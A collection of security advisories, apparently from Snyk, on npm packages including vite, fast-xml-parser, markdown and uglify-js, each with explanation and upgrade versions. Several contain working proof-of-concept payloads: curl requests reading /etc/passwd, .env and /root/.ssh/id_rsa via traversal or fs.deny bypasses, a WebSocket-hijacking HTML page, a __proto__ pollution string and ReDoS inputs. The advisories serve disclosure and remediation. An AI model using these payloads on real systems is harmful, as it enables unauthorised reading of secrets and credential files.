Find, fix and prevent vulnerabilities in your code.

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in currency.js, which can be triggered by supplying excessively long strings such as '\t'.repeat(13337) + '.'

Note: The vulnerability is in the experimental "v5" functionality that is included in version 4.x during development, at the time of discovery.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade fast-xml-parser to version 4.4.1 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Origin Validation Error due to default CORS settings and lack of validation on the Origin header for WebSocket connections, making any websites able to send any requests to the development server and read the response. An attacker can intercept and manipulate requests by sending crafted WebSocket requests from unauthorized origins.

Note:

Additionally to upgrading to a fixed version, the following configurations need to be made to fix the vulnerability:

1. If the backend integration feature is used and server.origin is not set, the origin of the backend server needs to be added to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server;

2. If a reverse proxy is used in front of Vite and requests are sent to Vite with a hostname other than localhost or *.localhost, the hostname needs to be added to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, vite needs to be added to the server.allowedHosts option;

3. If the development server is accessed via a domain other than localhost or *.localhost the hostname needs to be added to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option;

4. If a plugin / framework is used that connects to the WebSocket server on their own from the browser and the WebSocket connection appears not to be working after upgrading to a fixed version, it is recommended to either fix the plugin / framework code to the make it compatible with the new version or to set legacy.skipWebSocketTokenCheck: true to opt-out the fix for "Lack of validation on the Origin header for WebSocket connections" while the plugin / framework is incompatible with the new version of Vite. When enabling this option, make sure that you are aware of the security implications of this vulnerability.

Workaround

This vulnerability can be partially mitigated by:

1. Setting server.cors to false or limiting server.cors.origin to trusted origins;

2. Using Chrome 94+ or using HTTPS for the development server.

PoC

1. Use the react template which utilizes HMR functionality:

npm create vite@latest my-vue-app-react -- --template react

2. On a malicious server, serve the following POC html:

<!doctype html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <title>vite CSWSH</title>
    </head>
    <body>
        <div id="logs"></div>
        <script>
            const div = document.querySelectorAll('#logs')[0];
            const ws = new WebSocket('ws://localhost:5173','vite-hmr');
            ws.onmessage = event => {
                const logLine = document.createElement('p');
                logLine.innerHTML = event.data;
                div.append(logLine);
            };
        </script>
    </body>
</html>

3. Kick off Vite:

npm run dev

4. Load the development server (open http://localhost:5173/) as well as the malicious page in the browser;

5. Edit src/App.jsx file and intentionally place a syntax error;

6. Notice how the malicious page can view the websocket messages and a snippet of the source code is exposed.

Remediation

Upgrade vite to version 4.5.6, 5.4.12, 6.0.9 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

fast-xml-parser is a Validate XML, Parse XML, Build XML without C/C++ based libraries

Affected versions of this package are vulnerable to Prototype Pollution due to improper argument validation, which is exploitable via the aName variable.

PoC

const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");


let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser();
let jObj = parser.parse(XMLdata);

console.log(jObj.polluted)

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade fast-xml-parser to version 4.1.2 or higher.

References

• GitHub Commit
• PoC

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Directory Traversal through the server.fs.deny configuration due to improper input sanitization. An attacker can bypass server.fs.deny with /. for files under project root and access sensitive files by manipulating path traversal sequences.

Note:

This is only exploitable if the application is explicitly exposing the Vite dev server to the network (using --host or server.host config option). Only files that are under project root and are denied by a file matching pattern can be bypassed.

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade vite to version 4.5.14, 5.4.19, 6.1.6, 6.2.7, 6.3.4 or higher.

References

• GitHub Commit

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Information Exposure when using ?import&raw in the URL parameters. An attacker can access file contents that should be restricted by exploiting this bypass mechanism.

PoC

$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

Remediation

Upgrade vite to version 3.2.11, 4.5.5, 5.2.14, 5.3.6, 5.4.6 or higher.

References

• GitHub Commit

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Information Exposure due to the handling of req.url which may contain unexpected characters such as #. An attacker can access and retrieve the contents of arbitrary files by sending specially crafted requests that bypass the server.fs.deny checks.

Note:

This is only exploitable if the Vite dev server is explicitly exposed to the network and running on Node or Bun runtimes, excluding Deno.

PoC

npm create vite@latest
cd vite-project/
npm install
npm run dev

send request to read /etc/passwd

curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

Remediation

Upgrade vite to version 4.5.13, 5.4.18, 6.0.15, 6.1.5, 6.2.6 or higher.

References

• GitHub Commit

Overview

markdown is a yet another markdown parser, this time for JavaScript.

Note: This package is no longer actively maintained and should be considered deprecated.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It is possible under certain circumstances to abuse the URL regex parse functionality available within the Gruber dialect feature to conduct denial of service attacks.

Note: Exploitation of this vulnerability requires usage of the Gruber dialect (dialects/gruber.js) within markdown, which is not available by default.

PoC by Snyk

console.time('benchmark');
//regex taken from https://github.com/evilstreak/markdown-js/blob/master/src/dialects/gruber.js#L12

var urlRegexp = /(?:(?:https?|ftp):\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]+-?)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?/i.source;

//expoit/payload
const str = '![Blat Blat](https://192.168916891689168916891689168916891689168916891689168916891689168916891689168916891689168916891689168916891689268192.1 "Blat Blat")';

//Duplicate of code from https://github.com/evilstreak/markdown-js/blob/master/src/dialects/gruber.js#L566

var m = str.match(new RegExp("^!\\[(.*?)][ \\t]*\\((" + urlRegexp + ")\\)([ \\t])*([\"'].*[\"'])?")) ||
        str.match( /^!\[(.*?)\][ \t]*\([ \t]*([^")]*?)(?:[ \t]+(["'])(.*?)\3)?[ \t]*\)/ );
console.timeEnd('benchmark');

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for markdown.

References

• Vulnerable Code

Overview

markdown is a yet another markdown parser, this time for JavaScript.

Note: This package is no longer actively maintained and should be considered deprecated.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The markdown.toHTML() function has significantly degraded performance when parsing long strings containing underscores. This may lead to ReDoS if the parser accepts user input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for markdown.

References

• NPM Security Advisory

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Access Control Bypass through the server.fs.deny configuration, which is bypassed when using ?import query with inline and raw parameters. An attacker can read arbitrary files and return their content if they exist by crafting a URL that includes specific query parameters.

Remediation

Upgrade vite to version 4.5.11, 5.4.16, 6.0.13, 6.1.3, 6.2.4 or higher.

References

• GitHub Commit
• Nuclei Templates

Overview

vite is a Native-ESM powered web dev build tool

Affected versions of this package are vulnerable to Incorrect Authorization due to missing checks in transformMiddleware() which ignore certain query parameters. An attacker can access unauthorized files by including a ?raw?? or ?import&raw?? URL parameter. The allow list used by server.fs.deny() is not checked when handling these queries and the file contents are returned.

Note: The dev server is configured by default to be inaccessible. This is only exploitable if the dev server is exposed to the network with either the --host command line option or server.host config option.

PoC

$ echo "top secret content" > /tmp/secret.txt

# expected behavior
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"

Remediation

Upgrade vite to version 4.5.10, 5.4.15, 6.0.12, 6.1.2, 6.2.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• Nuclei Templates
• Exploit DB
• PoC in GitHub

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR